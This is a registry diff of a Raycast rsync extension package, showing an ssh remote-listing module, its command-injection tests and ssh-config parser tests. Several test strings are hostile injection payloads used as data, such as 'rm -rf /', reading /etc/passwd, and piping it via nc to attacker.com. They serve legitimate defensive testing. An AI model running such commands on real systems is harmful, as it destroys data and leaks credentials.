raycast-rsync-extension 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.eslintrc.js +18 -0
- package/.github/PULL_REQUEST_TEMPLATE.md +14 -0
- package/.github/dependabot.yml +35 -0
- package/.github/workflows/ci.yml +105 -0
- package/.github/workflows/publish.yml +269 -0
- package/.github/workflows/update-copyright-year.yml +70 -0
- package/CHANGELOG.md +7 -0
- package/LICENSE +21 -0
- package/README.md +81 -0
- package/assets/icon.png +0 -0
- package/eslint.config.js +23 -0
- package/metadata/browse-remote-path.png +0 -0
- package/metadata/browse-remote.png +0 -0
- package/metadata/download-local-path.png +0 -0
- package/metadata/download-remote-path.png +0 -0
- package/metadata/extension.png +0 -0
- package/metadata/upload-local-path.png +0 -0
- package/metadata/upload-remote-path.png +0 -0
- package/metadata/upload-search-host.png +0 -0
- package/package.json +93 -0
- package/src/__mocks__/raycast-api.ts +84 -0
- package/src/browse.tsx +378 -0
- package/src/components/FileList.test.tsx +73 -0
- package/src/components/FileList.tsx +61 -0
- package/src/download.tsx +353 -0
- package/src/e2e/browse.e2e.test.ts +295 -0
- package/src/e2e/download.e2e.test.ts +193 -0
- package/src/e2e/error-handling.e2e.test.ts +292 -0
- package/src/e2e/rsync-options.e2e.test.ts +348 -0
- package/src/e2e/upload.e2e.test.ts +207 -0
- package/src/index.tsx +21 -0
- package/src/test-setup.ts +1 -0
- package/src/types/server.ts +60 -0
- package/src/upload.tsx +404 -0
- package/src/utils/__tests__/sshConfig.test.ts +352 -0
- package/src/utils/__tests__/validation.test.ts +139 -0
- package/src/utils/preferences.ts +24 -0
- package/src/utils/rsync.test.ts +490 -0
- package/src/utils/rsync.ts +517 -0
- package/src/utils/shellEscape.test.ts +98 -0
- package/src/utils/shellEscape.ts +36 -0
- package/src/utils/ssh.test.ts +209 -0
- package/src/utils/ssh.ts +187 -0
- package/src/utils/sshConfig.test.ts +191 -0
- package/src/utils/sshConfig.ts +212 -0
- package/src/utils/validation.test.ts +224 -0
- package/src/utils/validation.ts +115 -0
- package/tsconfig.json +27 -0
- package/vitest.config.ts +8 -0
|
@@ -0,0 +1,209 @@
|
|
|
1
|
+
import { describe, it, expect, vi, beforeEach } from "vitest";
|
|
2
|
+
import { SSHHostConfig } from "../types/server";
|
|
3
|
+
import { executeRemoteLs } from "./ssh";
|
|
4
|
+
import { exec } from "child_process";
|
|
5
|
+
|
|
6
|
+
// Mock the exec function to capture commands
|
|
7
|
+
vi.mock("child_process", () => {
|
|
8
|
+
const actual = vi.importActual("child_process");
|
|
9
|
+
return {
|
|
10
|
+
...actual,
|
|
11
|
+
exec: vi.fn(),
|
|
12
|
+
};
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
describe("SSH Remote Listing", () => {
|
|
16
|
+
const mockHostConfig: SSHHostConfig = {
|
|
17
|
+
host: "testserver",
|
|
18
|
+
hostName: "example.com",
|
|
19
|
+
user: "testuser",
|
|
20
|
+
port: 22,
|
|
21
|
+
};
|
|
22
|
+
|
|
23
|
+
beforeEach(() => {
|
|
24
|
+
vi.clearAllMocks();
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
describe("executeRemoteLs - Command Injection Prevention", () => {
|
|
28
|
+
it("should escape remotePath to prevent command injection", async () => {
|
|
29
|
+
const maliciousPath = "/tmp/test; rm -rf /";
|
|
30
|
+
|
|
31
|
+
// Mock exec to capture the command
|
|
32
|
+
let capturedCommand = "";
|
|
33
|
+
(exec as any).mockImplementation(
|
|
34
|
+
(command: string, options: any, callback: any) => {
|
|
35
|
+
capturedCommand = command;
|
|
36
|
+
// Return success
|
|
37
|
+
callback(null, { stdout: "total 0\n", stderr: "" });
|
|
38
|
+
},
|
|
39
|
+
);
|
|
40
|
+
|
|
41
|
+
await executeRemoteLs(mockHostConfig, maliciousPath);
|
|
42
|
+
|
|
43
|
+
// The malicious command should be escaped, not executed
|
|
44
|
+
// The path is escaped and then the entire remote command is escaped
|
|
45
|
+
// So we check that the path appears within the escaped remote command
|
|
46
|
+
expect(capturedCommand).toMatch(/\/tmp\/test; rm -rf \//);
|
|
47
|
+
// The semicolon should be inside quotes (part of the escaped string)
|
|
48
|
+
expect(capturedCommand).toMatch(/'ls -lAh .*\/tmp\/test; rm -rf \/.*'/);
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
it("should escape remotePath with pipe to prevent injection", async () => {
|
|
52
|
+
const maliciousPath = "/tmp/test | cat /etc/passwd";
|
|
53
|
+
|
|
54
|
+
let capturedCommand = "";
|
|
55
|
+
(exec as any).mockImplementation(
|
|
56
|
+
(command: string, options: any, callback: any) => {
|
|
57
|
+
capturedCommand = command;
|
|
58
|
+
callback(null, { stdout: "total 0\n", stderr: "" });
|
|
59
|
+
},
|
|
60
|
+
);
|
|
61
|
+
|
|
62
|
+
await executeRemoteLs(mockHostConfig, maliciousPath);
|
|
63
|
+
|
|
64
|
+
// The malicious command should be escaped
|
|
65
|
+
// The path is escaped and then the entire remote command is escaped
|
|
66
|
+
expect(capturedCommand).toMatch(/\/tmp\/test \| cat \/etc\/passwd/);
|
|
67
|
+
expect(capturedCommand).toMatch(
|
|
68
|
+
/'ls -lAh .*\/tmp\/test \| cat \/etc\/passwd.*'/,
|
|
69
|
+
);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
it("should escape hostAlias to prevent command injection", async () => {
|
|
73
|
+
const maliciousHostConfig: SSHHostConfig = {
|
|
74
|
+
host: "server; rm -rf /",
|
|
75
|
+
hostName: "example.com",
|
|
76
|
+
};
|
|
77
|
+
|
|
78
|
+
let capturedCommand = "";
|
|
79
|
+
(exec as any).mockImplementation(
|
|
80
|
+
(command: string, options: any, callback: any) => {
|
|
81
|
+
capturedCommand = command;
|
|
82
|
+
callback(null, { stdout: "total 0\n", stderr: "" });
|
|
83
|
+
},
|
|
84
|
+
);
|
|
85
|
+
|
|
86
|
+
await executeRemoteLs(maliciousHostConfig, "/remote/path");
|
|
87
|
+
|
|
88
|
+
// The malicious host alias should be escaped
|
|
89
|
+
expect(capturedCommand).toContain("'server; rm -rf /'");
|
|
90
|
+
});
|
|
91
|
+
|
|
92
|
+
it("should handle paths with spaces", async () => {
|
|
93
|
+
const pathWithSpaces = "/remote/path with spaces";
|
|
94
|
+
|
|
95
|
+
let capturedCommand = "";
|
|
96
|
+
(exec as any).mockImplementation(
|
|
97
|
+
(command: string, options: any, callback: any) => {
|
|
98
|
+
capturedCommand = command;
|
|
99
|
+
callback(null, { stdout: "total 0\n", stderr: "" });
|
|
100
|
+
},
|
|
101
|
+
);
|
|
102
|
+
|
|
103
|
+
await executeRemoteLs(mockHostConfig, pathWithSpaces);
|
|
104
|
+
|
|
105
|
+
// Paths with spaces should be properly escaped
|
|
106
|
+
// The path is escaped and then the entire remote command is escaped
|
|
107
|
+
expect(capturedCommand).toMatch(/\/remote\/path with spaces/);
|
|
108
|
+
expect(capturedCommand).toMatch(
|
|
109
|
+
/'ls -lAh .*\/remote\/path with spaces.*'/,
|
|
110
|
+
);
|
|
111
|
+
});
|
|
112
|
+
|
|
113
|
+
it("should handle paths with single quotes", async () => {
|
|
114
|
+
const pathWithQuotes = "/remote/file'name.txt";
|
|
115
|
+
|
|
116
|
+
let capturedCommand = "";
|
|
117
|
+
(exec as any).mockImplementation(
|
|
118
|
+
(command: string, options: any, callback: any) => {
|
|
119
|
+
capturedCommand = command;
|
|
120
|
+
callback(null, { stdout: "total 0\n", stderr: "" });
|
|
121
|
+
},
|
|
122
|
+
);
|
|
123
|
+
|
|
124
|
+
await executeRemoteLs(mockHostConfig, pathWithQuotes);
|
|
125
|
+
|
|
126
|
+
// Paths with single quotes should be properly escaped
|
|
127
|
+
// The path is escaped (single quotes become '\'') and then the entire remote command is escaped
|
|
128
|
+
// So we check that the escaped path appears in the command
|
|
129
|
+
expect(capturedCommand).toMatch(/\/remote\/file.*name\.txt/);
|
|
130
|
+
// The escaping for single quotes in the path should be present
|
|
131
|
+
expect(capturedCommand).toMatch(/file.*\\''.*name/);
|
|
132
|
+
});
|
|
133
|
+
|
|
134
|
+
it("should escape complex injection attempts", async () => {
|
|
135
|
+
const complexInjection =
|
|
136
|
+
"/tmp/test; cat /etc/passwd | nc attacker.com 1234";
|
|
137
|
+
|
|
138
|
+
let capturedCommand = "";
|
|
139
|
+
(exec as any).mockImplementation(
|
|
140
|
+
(command: string, options: any, callback: any) => {
|
|
141
|
+
capturedCommand = command;
|
|
142
|
+
callback(null, { stdout: "total 0\n", stderr: "" });
|
|
143
|
+
},
|
|
144
|
+
);
|
|
145
|
+
|
|
146
|
+
await executeRemoteLs(mockHostConfig, complexInjection);
|
|
147
|
+
|
|
148
|
+
// The entire malicious string should be escaped as a single argument
|
|
149
|
+
// The path is escaped and then the entire remote command is escaped
|
|
150
|
+
expect(capturedCommand).toMatch(
|
|
151
|
+
/\/tmp\/test; cat \/etc\/passwd \| nc attacker\.com 1234/,
|
|
152
|
+
);
|
|
153
|
+
expect(capturedCommand).toMatch(
|
|
154
|
+
/'ls -lAh .*\/tmp\/test; cat \/etc\/passwd \| nc attacker\.com 1234.*'/,
|
|
155
|
+
);
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
it("should allow tilde expansion for paths starting with ~/", async () => {
|
|
159
|
+
const tildePath = "~/Desktop/subdir";
|
|
160
|
+
|
|
161
|
+
let capturedCommand = "";
|
|
162
|
+
(exec as any).mockImplementation(
|
|
163
|
+
(command: string, options: any, callback: any) => {
|
|
164
|
+
capturedCommand = command;
|
|
165
|
+
callback(null, { stdout: "total 0\n", stderr: "" });
|
|
166
|
+
},
|
|
167
|
+
);
|
|
168
|
+
|
|
169
|
+
await executeRemoteLs(mockHostConfig, tildePath);
|
|
170
|
+
|
|
171
|
+
// The ~ should be outside quotes to allow remote shell expansion
|
|
172
|
+
// The path after ~/ should be escaped for safety
|
|
173
|
+
// The command should contain ~/ followed by the escaped path part
|
|
174
|
+
expect(capturedCommand).toMatch(/~/);
|
|
175
|
+
expect(capturedCommand).toMatch(/Desktop\/subdir/);
|
|
176
|
+
// The ~ should not be inside quotes (allowing remote shell to expand it)
|
|
177
|
+
// The path part should be escaped - the actual pattern is ~/'Desktop/subdir'
|
|
178
|
+
// which appears as ~/'\\''Desktop/subdir'\\''' in the escaped command
|
|
179
|
+
expect(capturedCommand).toMatch(/ls -lAh ~\/.*Desktop\/subdir/);
|
|
180
|
+
// Verify ~ is not inside quotes (it should appear before the escaped path)
|
|
181
|
+
const match = capturedCommand.match(/ls -lAh (.*)/);
|
|
182
|
+
expect(match).not.toBeNull();
|
|
183
|
+
if (match) {
|
|
184
|
+
const pathPart = match[1];
|
|
185
|
+
// The ~ should appear before any quotes
|
|
186
|
+
expect(pathPart).toMatch(/^~/);
|
|
187
|
+
}
|
|
188
|
+
});
|
|
189
|
+
|
|
190
|
+
it("should handle standalone tilde", async () => {
|
|
191
|
+
const tildePath = "~";
|
|
192
|
+
|
|
193
|
+
let capturedCommand = "";
|
|
194
|
+
(exec as any).mockImplementation(
|
|
195
|
+
(command: string, options: any, callback: any) => {
|
|
196
|
+
capturedCommand = command;
|
|
197
|
+
callback(null, { stdout: "total 0\n", stderr: "" });
|
|
198
|
+
},
|
|
199
|
+
);
|
|
200
|
+
|
|
201
|
+
await executeRemoteLs(mockHostConfig, tildePath);
|
|
202
|
+
|
|
203
|
+
// Standalone ~ should be unescaped to allow remote shell expansion
|
|
204
|
+
expect(capturedCommand).toMatch(/ls -lAh ~/);
|
|
205
|
+
// Should not be inside quotes
|
|
206
|
+
expect(capturedCommand).not.toMatch(/'~'/);
|
|
207
|
+
});
|
|
208
|
+
});
|
|
209
|
+
});
|
package/src/utils/ssh.ts
ADDED
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
import { exec } from "child_process";
|
|
2
|
+
import { promisify } from "util";
|
|
3
|
+
import { homedir } from "os";
|
|
4
|
+
import { join } from "path";
|
|
5
|
+
import { SSHHostConfig, RemoteFile } from "../types/server";
|
|
6
|
+
import { shellEscape } from "./shellEscape";
|
|
7
|
+
|
|
8
|
+
const execAsync = promisify(exec);
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* Execute ls command on remote server to list files
|
|
12
|
+
* @param hostConfig - SSH host configuration
|
|
13
|
+
* @param remotePath - Path to list on remote server
|
|
14
|
+
* @returns Promise resolving to array of RemoteFile objects
|
|
15
|
+
*/
|
|
16
|
+
/**
|
|
17
|
+
* Escapes a remote path for use in SSH commands, handling tilde expansion
|
|
18
|
+
* For paths starting with ~, we allow the remote shell to expand it by not escaping the ~
|
|
19
|
+
* @param remotePath - The remote path to escape
|
|
20
|
+
* @returns Escaped path that allows ~ expansion on remote shell
|
|
21
|
+
*/
|
|
22
|
+
function escapeRemotePath(remotePath: string): string {
|
|
23
|
+
// If path starts with ~/, allow remote shell to expand ~
|
|
24
|
+
// We escape only the part after ~/ to prevent injection while allowing ~ expansion
|
|
25
|
+
if (remotePath.startsWith("~/")) {
|
|
26
|
+
const pathAfterTilde = remotePath.slice(2); // Everything after "~/"
|
|
27
|
+
// Escape the path part to prevent injection, but keep ~/ unescaped
|
|
28
|
+
// This will result in ~/'escaped-path' which allows ~ expansion
|
|
29
|
+
const escapedPath = shellEscape(pathAfterTilde);
|
|
30
|
+
return `~/${escapedPath}`;
|
|
31
|
+
}
|
|
32
|
+
if (remotePath === "~") {
|
|
33
|
+
// Standalone ~ doesn't need escaping
|
|
34
|
+
return "~";
|
|
35
|
+
}
|
|
36
|
+
// For all other paths, escape normally
|
|
37
|
+
return shellEscape(remotePath);
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
export async function executeRemoteLs(
|
|
41
|
+
hostConfig: SSHHostConfig,
|
|
42
|
+
remotePath: string,
|
|
43
|
+
): Promise<RemoteFile[]> {
|
|
44
|
+
const configPath = join(homedir(), ".ssh", "config");
|
|
45
|
+
const hostAlias = hostConfig.host;
|
|
46
|
+
|
|
47
|
+
// Escape all user-provided inputs to prevent command injection
|
|
48
|
+
const escapedConfigPath = shellEscape(configPath);
|
|
49
|
+
const escapedHostAlias = shellEscape(hostAlias);
|
|
50
|
+
// Use special escaping for remote paths to allow ~ expansion
|
|
51
|
+
const escapedRemotePath = escapeRemotePath(remotePath);
|
|
52
|
+
|
|
53
|
+
// Use ls -lAh for detailed listing with human-readable sizes
|
|
54
|
+
// -l: long format, -A: all files except . and .., -h: human-readable sizes
|
|
55
|
+
// Construct the remote command with properly escaped remotePath
|
|
56
|
+
// The remote command is: ls -lAh <escaped-remote-path>
|
|
57
|
+
// We escape the entire remote command for the local shell
|
|
58
|
+
const remoteCommand = `ls -lAh ${escapedRemotePath}`;
|
|
59
|
+
const escapedRemoteCommand = shellEscape(remoteCommand);
|
|
60
|
+
|
|
61
|
+
const command = `ssh -F ${escapedConfigPath} ${escapedHostAlias} ${escapedRemoteCommand}`;
|
|
62
|
+
|
|
63
|
+
console.log("Executing remote ls:", command);
|
|
64
|
+
|
|
65
|
+
try {
|
|
66
|
+
const { stdout } = await execAsync(command, {
|
|
67
|
+
timeout: 30000, // 30 second timeout
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
// Parse ls output
|
|
71
|
+
const files = parseLsOutput(stdout);
|
|
72
|
+
console.log(`Found ${files.length} files in ${remotePath}`);
|
|
73
|
+
|
|
74
|
+
return files;
|
|
75
|
+
} catch (error) {
|
|
76
|
+
const errorMessage = parseRemoteLsError(
|
|
77
|
+
error as {
|
|
78
|
+
stderr?: string;
|
|
79
|
+
message?: string;
|
|
80
|
+
code?: number;
|
|
81
|
+
},
|
|
82
|
+
);
|
|
83
|
+
console.error("Remote ls error:", error);
|
|
84
|
+
throw new Error(errorMessage);
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
/**
|
|
89
|
+
* Parse ls -lAh output into RemoteFile objects
|
|
90
|
+
* @param output - stdout from ls command
|
|
91
|
+
* @returns Array of RemoteFile objects
|
|
92
|
+
*/
|
|
93
|
+
function parseLsOutput(output: string): RemoteFile[] {
|
|
94
|
+
const lines = output.trim().split("\n");
|
|
95
|
+
const files: RemoteFile[] = [];
|
|
96
|
+
|
|
97
|
+
// Skip the first line if it starts with "total" (summary line)
|
|
98
|
+
const startIndex = lines[0]?.startsWith("total") ? 1 : 0;
|
|
99
|
+
|
|
100
|
+
for (let i = startIndex; i < lines.length; i++) {
|
|
101
|
+
const line = lines[i].trim();
|
|
102
|
+
if (!line) continue;
|
|
103
|
+
|
|
104
|
+
// Parse ls -l format: permissions links owner group size month day time name
|
|
105
|
+
// Example: drwxr-xr-x 5 user group 4.0K Jan 13 10:30 dirname
|
|
106
|
+
const parts = line.split(/\s+/);
|
|
107
|
+
|
|
108
|
+
if (parts.length < 9) continue; // Skip malformed lines
|
|
109
|
+
|
|
110
|
+
const permissions = parts[0];
|
|
111
|
+
const size = parts[4];
|
|
112
|
+
const month = parts[5];
|
|
113
|
+
const day = parts[6];
|
|
114
|
+
const time = parts[7];
|
|
115
|
+
const name = parts.slice(8).join(" "); // Handle filenames with spaces
|
|
116
|
+
|
|
117
|
+
// Check if it's a directory (first char is 'd')
|
|
118
|
+
const isDirectory = permissions.startsWith("d");
|
|
119
|
+
|
|
120
|
+
files.push({
|
|
121
|
+
name,
|
|
122
|
+
isDirectory,
|
|
123
|
+
size: isDirectory ? "" : size,
|
|
124
|
+
permissions,
|
|
125
|
+
modifiedDate: `${month} ${day} ${time}`,
|
|
126
|
+
});
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
return files;
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
/**
|
|
133
|
+
* Parse error output from remote ls command
|
|
134
|
+
* @param error - The error object from exec
|
|
135
|
+
* @returns User-friendly error message
|
|
136
|
+
*/
|
|
137
|
+
function parseRemoteLsError(error: {
|
|
138
|
+
stderr?: string;
|
|
139
|
+
message?: string;
|
|
140
|
+
code?: number;
|
|
141
|
+
}): string {
|
|
142
|
+
const stderr = error.stderr || "";
|
|
143
|
+
const message = error.message || "";
|
|
144
|
+
const combinedError = `${stderr} ${message}`.toLowerCase();
|
|
145
|
+
|
|
146
|
+
console.error("Remote ls error details:", {
|
|
147
|
+
code: error.code,
|
|
148
|
+
stderr: error.stderr,
|
|
149
|
+
message: error.message,
|
|
150
|
+
});
|
|
151
|
+
|
|
152
|
+
// Connection errors
|
|
153
|
+
if (combinedError.includes("connection refused")) {
|
|
154
|
+
return "Connection refused: The server is not accepting connections.";
|
|
155
|
+
}
|
|
156
|
+
if (
|
|
157
|
+
combinedError.includes("connection timed out") ||
|
|
158
|
+
combinedError.includes("operation timed out")
|
|
159
|
+
) {
|
|
160
|
+
return "Connection timed out: Unable to reach the server.";
|
|
161
|
+
}
|
|
162
|
+
if (combinedError.includes("could not resolve hostname")) {
|
|
163
|
+
return "Could not resolve hostname: The server address is invalid.";
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
// Authentication errors
|
|
167
|
+
if (
|
|
168
|
+
combinedError.includes("permission denied") &&
|
|
169
|
+
combinedError.includes("publickey")
|
|
170
|
+
) {
|
|
171
|
+
return "Authentication failed: SSH key not accepted.";
|
|
172
|
+
}
|
|
173
|
+
if (combinedError.includes("permission denied")) {
|
|
174
|
+
return "Permission denied: Check your credentials.";
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
// File/directory errors
|
|
178
|
+
if (combinedError.includes("no such file or directory")) {
|
|
179
|
+
return "Directory not found: The specified path does not exist on the remote server.";
|
|
180
|
+
}
|
|
181
|
+
if (combinedError.includes("not a directory")) {
|
|
182
|
+
return "Not a directory: The specified path is a file, not a directory.";
|
|
183
|
+
}
|
|
184
|
+
|
|
185
|
+
// Generic fallback
|
|
186
|
+
return `Failed to list remote files: ${stderr || message || "Unknown error"}`;
|
|
187
|
+
}
|
|
@@ -0,0 +1,191 @@
|
|
|
1
|
+
import { describe, it, expect, vi, beforeEach } from "vitest";
|
|
2
|
+
import * as fs from "node:fs";
|
|
3
|
+
import * as os from "node:os";
|
|
4
|
+
|
|
5
|
+
// Type definitions for mocked fs module
|
|
6
|
+
type MockedFS = typeof fs & {
|
|
7
|
+
__setMockFileContent: (content: string) => void;
|
|
8
|
+
__setMockFileExists: (exists: boolean) => void;
|
|
9
|
+
__setMockPermissionError: (shouldThrow: boolean) => void;
|
|
10
|
+
};
|
|
11
|
+
|
|
12
|
+
// Mock modules before importing the module under test
|
|
13
|
+
vi.mock("node:os", async () => {
|
|
14
|
+
const actual = await vi.importActual<typeof os>("node:os");
|
|
15
|
+
return {
|
|
16
|
+
...actual,
|
|
17
|
+
homedir: vi.fn(() => "/mock/home"),
|
|
18
|
+
};
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
vi.mock("node:fs", async () => {
|
|
22
|
+
const actual = await vi.importActual<typeof fs>("node:fs");
|
|
23
|
+
let mockFileContent = "";
|
|
24
|
+
let mockFileExists = false;
|
|
25
|
+
let mockThrowPermissionError = false;
|
|
26
|
+
let mockMtimeMs = Date.now();
|
|
27
|
+
|
|
28
|
+
return {
|
|
29
|
+
...actual,
|
|
30
|
+
existsSync: vi.fn(() => mockFileExists),
|
|
31
|
+
readFileSync: vi.fn(() => {
|
|
32
|
+
if (mockThrowPermissionError) {
|
|
33
|
+
const error: NodeJS.ErrnoException = new Error("Permission denied");
|
|
34
|
+
error.code = "EACCES";
|
|
35
|
+
throw error;
|
|
36
|
+
}
|
|
37
|
+
return mockFileContent;
|
|
38
|
+
}),
|
|
39
|
+
statSync: vi.fn(
|
|
40
|
+
() =>
|
|
41
|
+
({
|
|
42
|
+
mtimeMs: mockMtimeMs,
|
|
43
|
+
}) as fs.Stats,
|
|
44
|
+
),
|
|
45
|
+
__setMockFileContent: (content: string) => {
|
|
46
|
+
mockFileContent = content;
|
|
47
|
+
mockFileExists = true;
|
|
48
|
+
mockMtimeMs = Date.now(); // Use current time to ensure cache misses
|
|
49
|
+
},
|
|
50
|
+
__setMockFileExists: (exists: boolean) => {
|
|
51
|
+
mockFileExists = exists;
|
|
52
|
+
},
|
|
53
|
+
__setMockPermissionError: (shouldThrow: boolean) => {
|
|
54
|
+
mockThrowPermissionError = shouldThrow;
|
|
55
|
+
},
|
|
56
|
+
};
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
import { parseSSHConfig, getHostConfig, clearCache } from "./sshConfig";
|
|
60
|
+
|
|
61
|
+
describe("SSH Config Parser", () => {
|
|
62
|
+
beforeEach(() => {
|
|
63
|
+
vi.clearAllMocks();
|
|
64
|
+
clearCache(); // Clear cache between tests
|
|
65
|
+
(fs as unknown as MockedFS).__setMockFileExists(false);
|
|
66
|
+
(fs as unknown as MockedFS).__setMockPermissionError(false);
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
it("should parse valid config with single host", () => {
|
|
70
|
+
const config = `
|
|
71
|
+
Host server1
|
|
72
|
+
HostName example.com
|
|
73
|
+
User admin
|
|
74
|
+
Port 2222
|
|
75
|
+
`;
|
|
76
|
+
(fs as unknown as MockedFS).__setMockFileContent(config);
|
|
77
|
+
|
|
78
|
+
const hosts = parseSSHConfig();
|
|
79
|
+
expect(hosts).toHaveLength(1);
|
|
80
|
+
expect(hosts[0]).toEqual({
|
|
81
|
+
host: "server1",
|
|
82
|
+
hostName: "example.com",
|
|
83
|
+
user: "admin",
|
|
84
|
+
port: 2222,
|
|
85
|
+
identityFile: undefined,
|
|
86
|
+
proxyJump: undefined,
|
|
87
|
+
});
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
it("should parse config with multiple hosts", () => {
|
|
91
|
+
const config = `
|
|
92
|
+
Host server1
|
|
93
|
+
HostName example.com
|
|
94
|
+
User admin
|
|
95
|
+
|
|
96
|
+
Host server2
|
|
97
|
+
HostName test.com
|
|
98
|
+
User root
|
|
99
|
+
`;
|
|
100
|
+
(fs as unknown as MockedFS).__setMockFileContent(config);
|
|
101
|
+
|
|
102
|
+
const hosts = parseSSHConfig();
|
|
103
|
+
expect(hosts).toHaveLength(2);
|
|
104
|
+
expect(hosts[0].host).toBe("server1");
|
|
105
|
+
expect(hosts[1].host).toBe("server2");
|
|
106
|
+
});
|
|
107
|
+
|
|
108
|
+
it("should handle multiple aliases per host", () => {
|
|
109
|
+
const config = `
|
|
110
|
+
Host server1 srv1 s1
|
|
111
|
+
HostName example.com
|
|
112
|
+
User admin
|
|
113
|
+
`;
|
|
114
|
+
(fs as unknown as MockedFS).__setMockFileContent(config);
|
|
115
|
+
|
|
116
|
+
const hosts = parseSSHConfig();
|
|
117
|
+
expect(hosts).toHaveLength(3);
|
|
118
|
+
expect(hosts[0].host).toBe("server1");
|
|
119
|
+
expect(hosts[1].host).toBe("srv1");
|
|
120
|
+
expect(hosts[2].host).toBe("s1");
|
|
121
|
+
expect(hosts[0].hostName).toBe("example.com");
|
|
122
|
+
expect(hosts[1].hostName).toBe("example.com");
|
|
123
|
+
expect(hosts[2].hostName).toBe("example.com");
|
|
124
|
+
});
|
|
125
|
+
|
|
126
|
+
it("should filter out wildcard hosts", () => {
|
|
127
|
+
const config = `
|
|
128
|
+
Host *
|
|
129
|
+
User default
|
|
130
|
+
|
|
131
|
+
Host server1
|
|
132
|
+
HostName example.com
|
|
133
|
+
`;
|
|
134
|
+
(fs as unknown as MockedFS).__setMockFileContent(config);
|
|
135
|
+
|
|
136
|
+
const hosts = parseSSHConfig();
|
|
137
|
+
expect(hosts).toHaveLength(1);
|
|
138
|
+
expect(hosts[0].host).toBe("server1");
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
it("should handle comments and empty lines", () => {
|
|
142
|
+
const config = `
|
|
143
|
+
# This is a comment
|
|
144
|
+
Host server1
|
|
145
|
+
# Another comment
|
|
146
|
+
HostName example.com
|
|
147
|
+
|
|
148
|
+
User admin
|
|
149
|
+
`;
|
|
150
|
+
(fs as unknown as MockedFS).__setMockFileContent(config);
|
|
151
|
+
|
|
152
|
+
const hosts = parseSSHConfig();
|
|
153
|
+
expect(hosts).toHaveLength(1);
|
|
154
|
+
expect(hosts[0].hostName).toBe("example.com");
|
|
155
|
+
expect(hosts[0].user).toBe("admin");
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
it("should return empty array for missing config file", () => {
|
|
159
|
+
(fs as unknown as MockedFS).__setMockFileExists(false);
|
|
160
|
+
const hosts = parseSSHConfig();
|
|
161
|
+
expect(hosts).toEqual([]);
|
|
162
|
+
});
|
|
163
|
+
|
|
164
|
+
it("should find specific host by alias", () => {
|
|
165
|
+
const config = `
|
|
166
|
+
Host server1
|
|
167
|
+
HostName example.com
|
|
168
|
+
User admin
|
|
169
|
+
|
|
170
|
+
Host server2
|
|
171
|
+
HostName test.com
|
|
172
|
+
`;
|
|
173
|
+
(fs as unknown as MockedFS).__setMockFileContent(config);
|
|
174
|
+
|
|
175
|
+
const host = getHostConfig("server1");
|
|
176
|
+
expect(host).not.toBeNull();
|
|
177
|
+
expect(host?.host).toBe("server1");
|
|
178
|
+
expect(host?.hostName).toBe("example.com");
|
|
179
|
+
});
|
|
180
|
+
|
|
181
|
+
it("should return null for non-existent host", () => {
|
|
182
|
+
const config = `
|
|
183
|
+
Host server1
|
|
184
|
+
HostName example.com
|
|
185
|
+
`;
|
|
186
|
+
(fs as unknown as MockedFS).__setMockFileContent(config);
|
|
187
|
+
|
|
188
|
+
const host = getHostConfig("nonexistent");
|
|
189
|
+
expect(host).toBeNull();
|
|
190
|
+
});
|
|
191
|
+
});
|